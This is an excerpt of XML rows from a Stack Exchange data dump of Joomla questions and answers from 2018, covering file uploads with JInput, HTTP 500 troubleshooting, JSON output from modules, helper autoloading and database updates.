  <row Id="22602" PostTypeId="1" CreationDate="2018-03-27T20:50:12.260" Score="3" ViewCount="77" Body="&lt;p&gt;I was wondering if anyone knew of any kind of extension which will allow a manager to edit / update the content (articles) in the backend - but only a Super User can approve the changes prior to it going live?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking it would work somehow with version control, but I'm not entirely sure. I've done some searching but I can't find what I'm looking for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="12314" LastActivityDate="2018-03-27T20:50:12.260" Title="Joomla 3 versioning approval" Tags="|joomla-3.x|versions|super-user|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22604" PostTypeId="1" AcceptedAnswerId="22610" CreationDate="2018-03-28T07:00:31.830" Score="0" ViewCount="350" Body="&lt;p&gt;In RSTicket, you have the option to add or edit a ticket.&#xA;But it does not allow you to add personalized files (images or PDF), i.e. files such as invoices, receipts, photos, etc.&lt;/p&gt;&#xA;&lt;p&gt;I have created this small and simple script that allows me to save the files in the following structure:  &lt;code&gt;folder &amp;gt; ticket id &amp;gt; file type (invoice) &amp;gt; file&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;define('JPATH_BASE', '../');&#xA;jimport('joomla.filesystem.file');&#xA;&#xA;$input = JFactory::getApplication()-&amp;gt;input;&#xA;&#xA;//  Image&#xA;if ($file  = $input-&amp;gt;files-&amp;gt;get('images')) {&#xA;&#xA;    $filename = JFile::makeSafe(date(&amp;quot;Y-m-d&amp;quot;).$file['name']);&#xA;&#xA;    $src  = $file['tmp_name'];&#xA;    // If it does not exist, create the folder&#xA;    if (!JFolder::create($idTicket.'/images/'))&#xA;    {&#xA;        // &#xA;    }&#xA;&#xA;    $dest = JPATH_BASE .'/RSTickets_files/'.$idTicket.'/images/' . $filename;&#xA;}&#xA;&#xA;//  Invoices&#xA;if ($file  = $input-&amp;gt;files-&amp;gt;get('invoices')) {&#xA;&#xA;    $filename = JFile::makeSafe(date(&amp;quot;Y-m-d&amp;quot;).$file['name']);&#xA;&#xA;    $src  = $file['tmp_name'];&#xA;    // If it does not exist, create the folder&#xA;    if (!JFolder::create($idTicket.'/invoices/'))&#xA;    {&#xA;        // &#xA;    }&#xA;&#xA;    $dest = JPATH_BASE .'/RSTickets_files/'.$idTicket.'/invoices/' . $filename;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and the html code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&amp;quot;file&amp;quot; name=&amp;quot;images&amp;quot; /&amp;gt;&#xA;&#xA;&#xA;&amp;lt;input type=&amp;quot;file&amp;quot; name=&amp;quot;invoices&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This script works, but I would like to know if any of you have done something similar with RSTicket.&lt;/p&gt;&#xA;&lt;p&gt;Or if someone has an idea of how they could save it in the database and relate it to the ticket id.&lt;/p&gt;&#xA;&lt;p&gt;I have some idea that I've seen in &lt;a href=&quot;https://joomla.stackexchange.com/questions/17311/how-to-save-image-in-specified-folder-in-joomla-directory-and-save-file-name-in&quot;&gt;joomla.stackexchange.com&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I thank you in advance for your help and suggestion.&lt;/p&gt;&#xA;&lt;p&gt;Once I get it, I'll publish the final code, maybe it'll help others.&lt;/p&gt;&#xA;" OwnerUserId="12334" LastEditorUserId="12334" LastEditDate="2023-01-27T12:20:36.590" LastActivityDate="2023-01-27T12:20:36.590" Title="Uploading files using jfile and saving to database - project with RSticket" Tags="|joomla-3.x|php|custom-action|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22606" PostTypeId="1" CreationDate="2018-03-28T19:56:10.607" Score="0" ViewCount="178" Body="&lt;p&gt;I am struggling to get an admin form file upload to work using JInput. I have tried pretty much every permutation of &lt;code&gt;$input-&amp;gt;files-&amp;gt;get('');&lt;/code&gt; I can think of with no luck. No matter what I do, it always returns an empty array. If I print the contents of the $input object, I can see the file data. Similarly, if I print the contents of the $_FILES super variable I can see the file data. So I know it is uploading correctly, the problem becomes how can I use Joomla! standards to work with those files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the PHP in the &lt;code&gt;save()&lt;/code&gt; function of my model:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$input = JFactory::getApplication()-&amp;gt;input;&#xA;print_r($input-&amp;gt;files); // this shows the files data&#xA;// $code_file = $input-&amp;gt;files-&amp;gt;get('jform'); // an example of what I've tried&#xA;// $code_file = $input-&amp;gt;files-&amp;gt;get('jform[code_file]');&#xA;// $code_file = $input-&amp;gt;files-&amp;gt;get(&quot;jform['code_file']&quot;);&#xA;$code_file = $input-&amp;gt;files-&amp;gt;get('code_file');&#xA;print_r($code_file); // this always returns an empty array&#xA;die();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have defined the form field as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- code_file --&amp;gt;&#xA;&amp;lt;field&#xA;  accept=&quot;.xlsx&quot;&#xA;  description=&quot;COM_CUSTOM_FORM_CODE_FILE_DESC&quot;&#xA;  label=&quot;COM_CUSTOM_FORM_CODE_FILE_LBL&quot;&#xA;  name=&quot;code_file&quot;&#xA;  type=&quot;file&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That filed is then used in the view. Here is the output HTML (abbreviated for simplicity):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_custom&amp;amp;layout=edit&amp;amp;id=' . (int) $this-&amp;gt;item-&amp;gt;id); ?&amp;gt;&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot; name=&quot;adminForm&quot; id=&quot;my-form&quot; class=&quot;form-validate&quot;&amp;gt;&#xA;...&#xA;    &amp;lt;input type=&quot;file&quot; name=&quot;jform[code_file]&quot; id=&quot;jform_code_file&quot; accept=&quot;.xlsx&quot; aria-invalid=&quot;false&quot;&amp;gt;&#xA;...&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where am I going wrong?&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2024-03-27T10:00:35.090" Title="Admin Component File Upload -&gt; Cannot Get JInput to work" Tags="|joomla-3.x|component|administrator|jinput|file-upload|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22607" PostTypeId="2" ParentId="22606" CreationDate="2018-03-28T21:34:53.177" Score="0" Body="&lt;p&gt;This should work. It if don't then pls post more code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$input = JFactory::getApplication()-&amp;gt;input;&#xA;$all_files = $input-&amp;gt;files-&amp;gt;get('jform');&#xA;$code_file = $all_files['code_file'];&#xA;print_r($code_file);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-03-28T21:34:53.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22608" PostTypeId="1" CreationDate="2018-03-29T06:50:21.207" Score="4" ViewCount="6691" Body="&lt;p&gt;I have hosted my joomla website by uploading all my files to public_html, I have also changed the connections for host, user name, password and database name to the according. But when I run my front end, I see&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This page isn’t working&#xA;domain name is currently unable to handle this request.&#xA;HTTP ERROR 500&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help&lt;/p&gt;&#xA;" OwnerUserId="12385" LastActivityDate="2018-04-03T09:44:58.110" Title="This page isn’t working: HTTP ERROR 500 joomla on the front end" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22609" PostTypeId="2" ParentId="22608" CreationDate="2018-03-29T09:45:28.050" Score="5" Body="&lt;p&gt;Some things to try:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Using FTP or similar, temporarily rename &lt;code&gt;.htaccess&lt;/code&gt; to &lt;code&gt;.htaccess.old&lt;/code&gt; and copy &lt;code&gt;htaccess.txt&lt;/code&gt; to &lt;code&gt;.htaccess&lt;/code&gt; in the root folder of your website so you are using the default .htaccess file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using FTP or similar, edit your &lt;code&gt;configuration.php&lt;/code&gt; file and set &lt;code&gt;public $error_reporting = 'maximum';&lt;/code&gt; to see if there are any more meaningful error messages.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Temporarily rename any &lt;code&gt;php.ini&lt;/code&gt; files in the root folder of your website.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Repeat steps 1 and 3 in the &lt;code&gt;/administration&lt;/code&gt; folder if the back end of the website is also affected.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In cPanel or similar, try switching PHP 7.x back to PHP 5.6 if applicable. You may have some extensions that are not ready for PHP 7 yet.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Clear the cache by manually deleting everything in the &lt;code&gt;/cache&lt;/code&gt; folder. Also clear the cache in the hosting control panel, in your CDN e.g. CloudFlare and anywhere else if these options exist.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create and upload a simple &lt;code&gt;index.html&lt;/code&gt; page to see if the hosting is operational.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create and upload a simple &lt;code&gt;index.php&lt;/code&gt; page to see if php is working (temporarily rename the current &lt;code&gt;index.php&lt;/code&gt; to &lt;code&gt;index.old&lt;/code&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check folder and file permissions. Folders should be 755 and files should be 644.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Try restoring a copy of the website to an alternative local or remote host to see if the problem is with the hosting or if the website is broken somehow.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Try accessing the website via a temporary url rather than the domain name to see if the issue is with the domain name. For example, some hosts allow you to access your website via the IP address and cPanel account name like this: &lt;code&gt;http://123.123.123.123/~acctname&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Disable third party extensions one by one by editing the &lt;code&gt;xxx_extensions&lt;/code&gt; table using phpMyAdmin or similar until the site works again or until all third party extensions are disabled.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In PHP Selector in cPanel or similar, check that the relevant PHP modules are enabled. PHP 5.6 will look something like this:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DMF4N.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DMF4N.png&quot; alt=&quot;PHP 5.6 Options&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;14&quot;&gt;&#xA;&lt;li&gt;Assuming nothing else works, assuming you have a current backup and assuming you haven't edited any of the core code, you could try uploading and expanding the full install package for your current version of Joomla e.g. &lt;code&gt;Joomla_3.8.6-Stable-Full_Package.zip&lt;/code&gt; in the root folder of your website to overwrite any corrupt files. Once expanded, delete the install package and the &lt;code&gt;/installation&lt;/code&gt; folder.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hopefully one of these suggestions will help. Unfortunately there are many potential causes of &quot;Error 500&quot;.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2018-04-03T09:44:58.110" LastActivityDate="2018-04-03T09:44:58.110" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22610" PostTypeId="2" ParentId="22604" CreationDate="2018-03-29T13:59:37.627" Score="1" Body="&lt;p&gt;RSTicket supports upload file functionality to ticket.&#xA;If I understand your problem correctly, Below url can solve your problem&#xA;&lt;a href=&quot;https://www.rsjoomla.com/support/documentation/rsticketspro/getting-started/departments.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.rsjoomla.com/support/documentation/rsticketspro/getting-started/departments.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this solves your problem without writing script.&lt;/p&gt;&#xA;" OwnerUserId="9104" LastActivityDate="2018-03-29T13:59:37.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22611" PostTypeId="2" ParentId="22589" CreationDate="2018-03-29T14:11:38.280" Score="1" Body="&lt;p&gt;Which eCommerce component you are using ?, It may be the configuration of that component which appending the seller email_id to non-sef url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the configuration of the component and you may find that they have something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if this solves your problem :)&lt;/p&gt;&#xA;" OwnerUserId="9104" LastActivityDate="2018-03-29T14:11:38.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22612" PostTypeId="2" ParentId="22587" CreationDate="2018-03-29T14:15:52.360" Score="2" Body="&lt;p&gt;If you have used jform then You can use Subform field.&#xA;&lt;a href=&quot;https://techjoomla.com/developers-blogs/joomla-development/using-sub-forms-to-create-repeatable-fields&quot; rel=&quot;nofollow noreferrer&quot;&gt;Read here more about Subform repeatable field&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9104" LastActivityDate="2018-03-29T14:15:52.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22613" PostTypeId="2" ParentId="22608" CreationDate="2018-03-29T14:47:16.833" Score="5" Body="&lt;p&gt;I would like to add one more point in Neil Robertson is as below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By doing point no 2 - (enabling error reporting) still the issue persist, Please check the public $gzip; variable in configuration file. It should be 0 as Joomla internally does the gzip compression.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Excuse my Grammar :( Novice in English. &lt;/p&gt;&#xA;" OwnerUserId="9104" LastActivityDate="2018-03-29T14:47:16.833" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="22614" PostTypeId="2" ParentId="22587" CreationDate="2018-03-30T07:43:53.253" Score="0" Body="&lt;p&gt;I did not look into Custom fields component so far, but Joomla have &lt;a href=&quot;https://docs.joomla.org/Repeatable_form_field_type&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;repeatable&quot;&gt;repeatable&lt;/a&gt; field as a standard, so I believe it should be in the list. It does exactly what you ask.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2018-03-30T07:43:53.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22616" PostTypeId="1" CreationDate="2018-03-30T11:28:29.773" Score="0" ViewCount="833" Body="&lt;p&gt;I am new to Joomla and facing a situation - I need to have a page with custom URL (/dashboard) which would return some data in JSON that external application will read. I have a Slideshow CK module, where I need the slides (image url, link) and main menu items (title, url). All returned in one JSON response. Which is the best approach? Create a custom page with it's own template and create a module, which would get data from database (raw sql) and then prepare the desired JSON? Or is there a way how to create a JSON view from Slideshow CK module and menu module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you all for your tips&lt;/p&gt;&#xA;" OwnerUserId="12389" LastActivityDate="2019-08-23T11:02:40.407" Title="Joomla 3 - JSON with modules" Tags="|joomla-3.x|module|restful-api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22617" PostTypeId="1" AcceptedAnswerId="22618" CreationDate="2018-03-30T19:55:48.897" Score="0" ViewCount="259" Body="&lt;p&gt;Okay so this has gotten me stuck for more than i'd like to admit. I made a joomla ovverride for blogs just to test it out. I see the code below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (!empty($this-&amp;gt;lead_items)) : ?&amp;gt;&#xA;    &amp;lt;div class=&quot;items-leading clearfix test&quot;&amp;gt;&#xA;        &amp;lt;?php foreach ($this-&amp;gt;lead_items as &amp;amp;$item) : ?&amp;gt;&#xA;            &amp;lt;div class=&quot;leading-&amp;lt;?php echo $leadingcount; ?&amp;gt;&amp;lt;?php echo $item-&amp;gt;state == 0 ? ' system-unpublished' : null; ?&amp;gt;&quot;&#xA;                itemprop=&quot;blogPost&quot; itemscope itemtype=&quot;https://schema.org/BlogPosting&quot;&amp;gt;&#xA;                &amp;lt;?php&#xA;                $this-&amp;gt;item = &amp;amp; $item;&#xA;                echo $this-&amp;gt;loadTemplate('item');&#xA;                ?&amp;gt;&#xA;            &amp;lt;?php $leadingcount++; ?&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- end items-leading --&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For some odd reason, the code looks like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/RAzAN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RAzAN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice how after leading-6 the remaining articles are displaying OUTSIDE of the 'blog' and 'items-leading' divs. Now I thought I was going crazy cause looking at the over ride it doesn't seem like it should do that. Basically I'm trying to understand why the code looks like every leading article SHOULD be inside the 'items-leading' class but most of them are not (notice how &amp;lt; end items-leading -&gt; appears on the code and on the output HTML, and notice where the 'items-leading' div is on the joomla over ride).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated. &lt;/p&gt;&#xA;" OwnerUserId="12390" LastActivityDate="2018-03-30T20:08:58.520" Title="Joomla category blog is displaying only a number of leading articles in the 'blog' section, and putting all other leading articles outside of it" Tags="|overrides|template-override|category-blog|mod-articles-category|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22618" PostTypeId="2" ParentId="22617" CreationDate="2018-03-30T20:08:58.520" Score="0" Body="&lt;p&gt;Okay so this was just a weird issue. Turns out I disabled article number 6 and everything went to normal, I copied the article onto my local machine and checked all the divs to make sure they matched, everything was fine. Pasted it back in and republished the article, and now the entire category blog is working :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So heads up for anyone one that runs into the same issue, just check to see if there's a missing div tag where the category blog is breaking.&lt;/p&gt;&#xA;" OwnerUserId="12390" LastActivityDate="2018-03-30T20:08:58.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22619" PostTypeId="2" ParentId="22616" CreationDate="2018-03-30T22:36:31.437" Score="2" Body="&lt;p&gt;If you need only a single URL to return a json string containing just a prepared subset of a single module’s params and a copy of all the paths and titles of a single menu then I would suggest a very hard coded approach would be the quickest - a couple of database queries and some data rustling should do it. A system plugin would be suitable place to put the code since you may as well return the json response as early in the life cycle as possible. If it’s literally a single URL you could even test for it in the onBeforeRoute and then you wouldn’t even need a menu item, ie. if this my special URL then grab this data echo a jsonResponse and die.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If on the other hand you actually want something much more dynamic, eg. turning module params into the response depending on which page you’re on then you may be better off making a module template override for any modules you need and then have the modules pass the data through to some custom template that combines the data and returns the json. That would be rather more ... tangly.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-03-30T22:36:31.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22620" PostTypeId="2" ParentId="22592" CreationDate="2018-03-31T00:19:49.027" Score="1" Body="&lt;p&gt;Did you check the Access level of the content plugin? A similar issue was seen here on the Fabrik forum. &lt;a href=&quot;http://fabrikar.com/forums/index.php?threads/error-message-with-email-list-plugin-after-upgrade.47175/#post-244488&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://fabrikar.com/forums/index.php?threads/error-message-with-email-list-plugin-after-upgrade.47175/#post-244488&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I that's not it, I would suggest to create a thread on the Fabrik forum, they have great community support and are quick to respond.&lt;/p&gt;&#xA;" OwnerUserId="12393" LastActivityDate="2018-03-31T00:19:49.027" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22621" PostTypeId="1" CreationDate="2018-03-31T14:26:00.137" Score="0" ViewCount="193" Body="&lt;p&gt;I am developing a custom component and when I try to call my view I am receiving this error. The error occurs at: .\components\com_engineering\views\commentform\tmpl\default.php:24 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is line 23 and 24&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user    = JFactory::getUser();&#xA;$canEdit = EngineeringHelpersEngineering::canUserEdit($this-&amp;gt;item, $user);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It was my understanding by using JLoader::register that Joomla would automatically load the helper when the class is needed. Either my understanding is incorrect or I am doing something wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following is what I am trying to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;site/helpers/&lt;strong&gt;engineering.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;JLoader::register('EngineeringHelper', JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'components' . DIRECTORY_SEPARATOR . 'com_engineering' . DIRECTORY_SEPARATOR . 'helpers' . DIRECTORY_SEPARATOR . 'engineering.php');&#xA;&#xA;/**&#xA; * Class EngineeringFrontendHelper&#xA; *&#xA; * @since  1.6&#xA; */&#xA;class EngineeringHelpersEngineering&#xA;{&#xA;  public static function canUserEdit($item)&#xA;  {&#xA;    $permission = false;&#xA;    $user       = JFactory::getUser();&#xA;&#xA;    if ($user-&amp;gt;authorise('core.edit', 'com_engineering'))&#xA;    {&#xA;        $permission = true;&#xA;    }&#xA;    else&#xA;    {&#xA;        if (isset($item-&amp;gt;created_by))&#xA;        {&#xA;            if ($user-&amp;gt;authorise('core.edit.own', 'com_engineering') &amp;amp;&amp;amp; $item-&amp;gt;created_by == $user-&amp;gt;id)&#xA;            {&#xA;                $permission = true;&#xA;            }&#xA;        }&#xA;        else&#xA;        {&#xA;            $permission = true;&#xA;        }&#xA;    }&#xA;&#xA;    return $permission;&#xA;  }&#xA;&#xA;  // other classes&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="12336" LastActivityDate="2018-03-31T23:38:30.390" Title="0 Class 'EngineeringHelpersEngineering' not found" Tags="|joomla-3.x|custom-component|view|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22622" PostTypeId="2" ParentId="22621" CreationDate="2018-03-31T23:38:30.390" Score="1" Body="&lt;p&gt;Short version.&#xA;Move your jloader register statement into an earlier file like your controller or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Longer version.&#xA;JLoader::register allows you to ask Joomla's autoloader to require the appropriate file when you call a class that hasn't been included/required (made available) yet.  Once a file has been included/required in the code execution flow then all its classes and functions are available for use.  When you call a class that is not available, php5+ will run through any registered autoloaders and ask them if they know where the class is and if so then to include the file and then continue with the original class call.  Hence, it makes no sense for a file to register itself with the autoloader, because if that register statement runs then the file has already been included, thus its classes are available, thus the autoloader will never be asked to find the file of the class.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-03-31T23:38:30.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22623" PostTypeId="1" AcceptedAnswerId="22661" CreationDate="2018-04-03T09:00:52.907" Score="0" ViewCount="760" Body="&lt;p&gt;I've tried and tried, but I can't get this to work. I use Joomla and I have 2 articles/pages, one for edit and one for posting the form. I have a database with all the matches for the World Cup coming up and I want my users to bet on the matches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 2 tables - one with all matches like this (named &lt;code&gt;vm_kampe&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|id |hhold   |uhold   |res  |&#xA;|1  |Rusland |Saudi   |NULL |&#xA;|2  |Egypten |Uruguay |NULL |&#xA;... and so on&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the other table is my coupon where my bets are stored(named &lt;code&gt;vm_207&lt;/code&gt; where 207 is my user-id, so every user gets its own table):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|id |resu |&#xA;|1  |2-1  |&#xA;|2  |1-3  |&#xA;... and so on.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the id in &lt;code&gt;vm_207&lt;/code&gt; should connect to the id of the match in &lt;code&gt;vm_kampe&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I want a page, where I can update my bets, so I have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($results as $row){     &#xA;echo '&amp;lt;div class=&quot;vm_kupon_row&quot;&amp;gt;     &#xA;&amp;lt;div class=&quot;vm_id&quot;&amp;gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;kampid[]&quot; value=&quot;'.$row-&amp;gt;id.'&quot;&amp;gt;&amp;lt;/div&amp;gt;     &#xA;&amp;lt;div class=&quot;vm_kampe&quot;&amp;gt;'.$row-&amp;gt;hhold.' - '.$row-&amp;gt;uhold.'&amp;lt;/div&amp;gt;     &#xA;&amp;lt;div class=&quot;vm_result&quot;&amp;gt;&amp;lt;input class=&quot;vm_resultat&quot; type=&quot;text&quot; name=&quot;resultat[]&quot; placeholder=&quot;X-X&quot; value=&quot;'.$row-&amp;gt;resu.'&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;';&#xA;&#xA;};&#xA;&#xA;echo '&amp;lt;input type=&quot;submit&quot; class=&quot;godkend-vm-kupon&quot; name=&quot;submit&quot; value=&quot;Godkend&quot;&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That calls out all matches with an input field where the value is selected from my table &lt;code&gt;vm_207&lt;/code&gt; and it works. Now, if I change something I want to update, the form action calls this page: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$kampid = $jinput-&amp;gt;get('$kampid');&#xA;$resultat = $jinput-&amp;gt;get('$resultat', 'string');&#xA;&#xA;$fields = array(&#xA;$db-&amp;gt;quoteName('resu') . ' = ' . $db-&amp;gt;quote($resultat)&#xA;);&#xA;&#xA;$conditions = array(&#xA;$db-&amp;gt;quoteName('id') . '=' . $kampid&#xA;);&#xA;&#xA;$query-&amp;gt;update($db-&amp;gt;quoteName('vm_207'))-&amp;gt;set($fields)-&amp;gt;where($conditions);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it won't update anything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me make this work. If you need any more details just say so :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="12400" LastEditorUserId="12400" LastEditDate="2018-04-04T11:29:47.503" LastActivityDate="2018-04-11T16:37:11.783" Title="Update specific row in FOREACH loop" Tags="|joomla-3.x|php|mysql|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="22624" PostTypeId="1" CreationDate="2018-04-03T09:56:19.903" Score="0" ViewCount="34" Body="&lt;p&gt;I want to build a form for the users of my website to let them easily add their products in frontend page under the name of their shop. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To this end, which plug-in,  component, or extension completely match my requirements and are free? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you so much guys in advance. &lt;/p&gt;&#xA;" OwnerUserId="12399" LastActivityDate="2018-04-03T10:18:09.627" Title="How can I make it pssible for users to login and add their products?" Tags="|joomla-3.x|component|plugin|form|e-commerce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22625" PostTypeId="2" ParentId="22624" CreationDate="2018-04-03T10:11:47.700" Score="1" Body="&lt;p&gt;You are probably looking for a &quot;multi vendor&quot; solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/hikamarket&quot; rel=&quot;nofollow noreferrer&quot;&gt;HikaMarket&lt;/a&gt; can do this but it's not free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like &lt;a href=&quot;https://extensions.joomla.org/extensions/extension/e-commerce/shopping-cart/sellacious/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sellacious&lt;/a&gt; is free and does multi-vendor.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2018-04-03T10:18:09.627" LastActivityDate="2018-04-03T10:18:09.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
